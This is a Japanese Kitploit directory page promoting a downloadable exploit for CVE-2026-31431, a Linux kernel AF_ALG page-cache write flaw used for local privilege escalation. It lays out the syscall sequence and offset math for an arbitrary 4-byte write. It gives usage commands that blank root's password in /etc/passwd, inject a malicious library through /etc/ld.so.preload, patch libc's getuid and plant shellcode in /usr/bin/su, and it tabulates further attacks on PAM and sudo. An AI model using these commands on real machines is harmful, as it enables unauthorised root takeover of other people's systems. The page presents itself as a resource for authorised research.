Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-31431-Advanced-Exploit — CVE-2026-31431 のエクスプロイト。Linux カーネルの AF_ALG AEAD ページキャッシュ書き込みの脆弱性を利用し、権限のないユーザーが読み取り可能なファイルへの任意の 4 バイト書き込みを可能にすることで、ローカル権限昇格を実現します。 | Kitploit
ツール/GitHubGitHub/sndav/cve-2026-31431-advanced-exploit
特権昇格エクスプロイトフレームワーク脆弱性分析エクスプロイトペネトレーションテストバイナリエクスプロイト
GitHubsndav/cve-2026-31431-advanced-exploit

CVE-2026-31431-Advanced-Exploit

CVE-2026-31431 のエクスプロイト。Linux カーネルの AF_ALG AEAD ページキャッシュ書き込みの脆弱性を利用し、権限のないユーザーが読み取り可能なファイルへの任意の 4 バイト書き込みを可能にすることで、ローカル権限昇格を実現します。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
1112944ヶ月前Kitploit レビュー済み

CVE-2026-31431 — Copy Fail

Linuxカーネルページキャッシュ権限外書き込み脆弱性 (AF_ALG AEAD リンクリストチェーンエラー)

概要

Linuxカーネルの algif_aead インターフェースに、非特権ユーザーが任意の読み取り可能なファイルのページキャッシュ(page cache)へ任意のデータを書き込むことを可能にする脆弱性が存在します——ファイル権限チェック、強制アクセス制御(MAC)、および整合性検証を完全にバイパスします。

ディスク上のファイル内容は変更されませんが、その後そのファイルを読み取るすべてのプロセス(SUIDプログラム、動的リンカー、execve() など)は、ページキャッシュが再利用されるまで攻撃者によって改ざんされたバージョンを参照します。

影響範囲

項目説明
サブシステムcrypto/algif_aead.c
アルゴリズムauthencesn(hmac(sha256),cbc(aes))
カーネル設定CONFIG_CRYPTO_USER_API_AEAD=y/m(ほぼすべての主要ディストリビューションでデフォルト有効)
必要な権限なし — 対象ファイルへの読み取り権限のみで可
危険度ローカル権限昇格 → root
影響を受けるディストリビューションUbuntu、Debian、Fedora、RHEL、Arch、openSUSE など

脆弱性の原理

簡単な説明

AF_ALG を介してAEAD復号を実行する場合:

  1. ユーザー空間は sendmsg() + MSG_MORE で関連認証データ(AAD)を送信します。これには攻撃者が制御する4バイトの seqno_lo が含まれます。
  2. splice() を使用して、対象ファイルのページキャッシュページをカーネル暗号化サブシステムの送信リンクリスト(TX SGL)に注入します。
  3. カーネルは対象リンクリスト(dst SGL)を構築する際、受信バッファとページキャッシュページを sg_chain でリンクします。
  4. authencesn アルゴリズムは seqno_lo を対象リンクリストのオフセット assoclen + cryptlen に書き込みます——この位置は受信バッファを越えて、リンクされたページキャッシュページに直接到達します。
  5. この書き込みはHMAC検証前に発生します。HMAC失敗後、カーネルは EBADMSG エラーを返しますが、ページキャッシュはすでに改ざんされています。

データフロー図

root@kitploit:~
 sendmsg (AAD)            splice (ファイルページ)
     │                         │
     ▼                         ▼
 ┌──────────┐  sg_chain   ┌──────────────────────┐
 │ RX バッファ │─────────────▶│   ページキャッシュページ │
 │  8 バイト  │              │  (ファイル内容)        │
 └──────────┘              └──────────────────────┘
                                  ▲
                                  │
                      authencesn がここに seqno_lo を書き込む
                      オフセット = assoclen + cryptlen
                      ════ これが脆弱性の核心 ════

重要ポイント

  • seqno_lo の4バイトは完全に攻撃者がAAD内で制御します(何を書くか)
  • splice の長さがページキャッシュ内の書き込みオフセットを決定します(どこに書くか)
  • この2つの組み合わせ = 任意の読み取り可能ファイルのページキャッシュへの任意4バイト書き込みプリミティブ

使用方法

クイック権限昇格

root@kitploit:~
# /etc/passwd のページキャッシュを改ざんし、rootパスワードを削除して su root を自動実行
./exploit.py escalate

実行プロセス:

  1. /etc/passwd の元の内容を /tmp/.passwd.bak にバックアップ
  2. ページキャッシュ内で root:x:0:0:root:... を root::0:0:root :... に変更
  3. su root を自動実行(パスワード不要)

出力例:

root@kitploit:~
[*] CVE-2026-31431 — Copy Fail
[*] Mode: remove root password via /etc/passwd

[*] Backup: /tmp/.passwd.bak
[*] Before : root:x:0:0:root:/root:/bin/bash
[*] After  : root::0:0:root :/root:/bin/bash
[*] Offset : 0

    [0x000000]  726f6f74  root
    [0x000004]  3a3a303a  ::0:
    [0x000008]  303a726f  0:ro
    [0x00000c]  6f742020  ot
    [0x000010]  3a2f726f  :/ro
    [0x000014]  6f743a2f  ot:/
    [0x000018]  62696e2f  bin/
    [0x00001c]  62617368  bash

[+] Success: root::0:0:root :/root:/bin/bash

[*] Recovery: echo 3 > /proc/sys/vm/drop_caches
[*] Running: su root (no password needed)

汎用:任意ページキャッシュ書き込み

root@kitploit:~
# 基本構文
./exploit.py write <ファイルパス> <オフセット> <データ>

# バイナリファイルからペイロードを読み込む
./exploit.py write <ファイルパス> <オフセット> @payload.bin

使用例

root@kitploit:~
# SUIDプログラムのエントリポイントにシェルコードを書き込む
./exploit.py write /usr/bin/su 0x1040 @shellcode.bin

# プリロードライブラリのパスを注入
./exploit.py write /etc/ld.so.preload 0 '/tmp/evil.so\n'

# libc関数を改ざん(例:getuid() が 0 を返すようにする)
./exploit.py write /usr/lib/libc.so.6 0x284a0 '\x31\xc0\xc3\x90'

制約条件

復旧方法

root@kitploit:~
# 方法1:すべてのページキャッシュをクリアし、ディスク上の元の内容を復元
echo 3 > /proc/sys/vm/drop_caches

# 方法2:再起動
reboot

内部技術詳細

AF_ALG ソケット初期化

root@kitploit:~
socket(AF_ALG, SOCK_SEQPACKET, 0)
  → bind("aead", "authencesn(hmac(sha256),cbc(aes))")
  → setsockopt(SOL_ALG, ALG_SET_KEY, authenc_鍵blob)
  → setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, 4)
  → accept()  →  リクエスト fd

鍵構造(authenc key blob)

root@kitploit:~
┌─────────────────────────────────────────────┐
│ rta_len (2B)  │ rta_type (2B) │ enckeylen (4B) │
│   0x0008      │   0x0001      │  0x00000010    │
├─────────────────────────────────────────────┤
│         認証鍵 (16バイト全ゼロ)                 │
├─────────────────────────────────────────────┤
│         暗号化鍵 (16バイト全ゼロ)               │
└─────────────────────────────────────────────┘

鍵の値は重要ではありません——HMACは必ず失敗しますが、権限外書き込みは検証前に完了しています。

単回4バイト書き込みフロー

root@kitploit:~
ステップ 1:  sendmsg(req_fd,
                  AAD = [seqno_hi(4B) | seqno_lo(4B)],    ← seqno_lo = 書き込む値
                  cmsg = [OP=DECRYPT, IV=全ゼロ, ASSOCLEN=8],
                  flags = MSG_MORE)

ステップ 2:  pipe_r, pipe_w = pipe()

ステップ 3:  splice(target_fd → pipe_w, count = file_offset + 4, offset_src = 0)

ステップ 4:  splice(pipe_r → req_fd, count = file_offset + 4)

ステップ 5:  recv(req_fd, ASSOC_LEN + file_offset)
          → authencesn 復号をトリガー
          → seqno_lo が dst SGL オフセット assoclen + cryptlen に書き込まれる
          → そのオフセットはページキャッシュページの file_offset に該当
          → HMAC 失敗, EBADMSG を返す
          → ページキャッシュはすでに改ざん済み ✓

オフセット計算

root@kitploit:~
dst SGL レイアウト:
  [0 .. 7]                         → RX バッファ (AAD 受信領域)
  [8 .. 8 + file_offset + 3]      → ページキャッシュページ (splice 注入)

seqno_lo 書き込み位置:
  dst[assoclen + cryptlen]
  = dst[8 + file_offset]
  = ページキャッシュ内の file_offset 位置

∴ 攻撃者は file_offset を制御 → 書き込み位置を制御
  攻撃者は seqno_lo を制御    → 書き込み内容を制御

ファイル構成

root@kitploit:~
.
├── exploit.py          # 自己完結型エクスプロイトスクリプト(Python 3 + Linux のみ必要)
└── README.md           # 本ファイル

攻撃シナリオ一覧

免責事項

本ツールは認可されたセキュリティ研究およびペネトレーションテストのみを目的としています。許可なく本ツールを使用して他人のシステムを攻撃することは違法行為です。利用者はすべての法的責任を自己負担するものとします。

ツールをダウンロード
制約説明
読み取り権限対象ファイルは現在のユーザーが読み取り可能である必要がある(O_RDONLY)
アライメント毎回4バイト書き込み;4バイト未満の末尾は 0x90 でパディング
ファイルサイズファイルサイズは オフセット + データ長 + 4 バイト以上である必要がある
ページキャッシュのみディスク上のファイル内容は変更されない
持続性ページキャッシュが再利用されるか手動でクリアされるまで有効
カーネル設定AF_ALG + authencesn が利用可能である必要がある(主要ディストリビューションではデフォルトで有効)
攻撃経路対象ファイル効果
rootパスワード削除/etc/passwdsu root がパスワード不要
プリロードライブラリ注入/etc/ld.so.preloadすべてのプログラムが悪意のある .so をロード
SUIDプログラム改ざん/usr/bin/su などシェルコードを実行してrootシェルを取得
libc改ざん/usr/lib/libc.so.6getuid() などの関数をハイジャックして 0 を返す
PAMモジュール改ざん/usr/lib/security/pam_unix.soすべての認証をバイパス
sudo改ざん/usr/bin/sudo任意ユーザーが直接rootを取得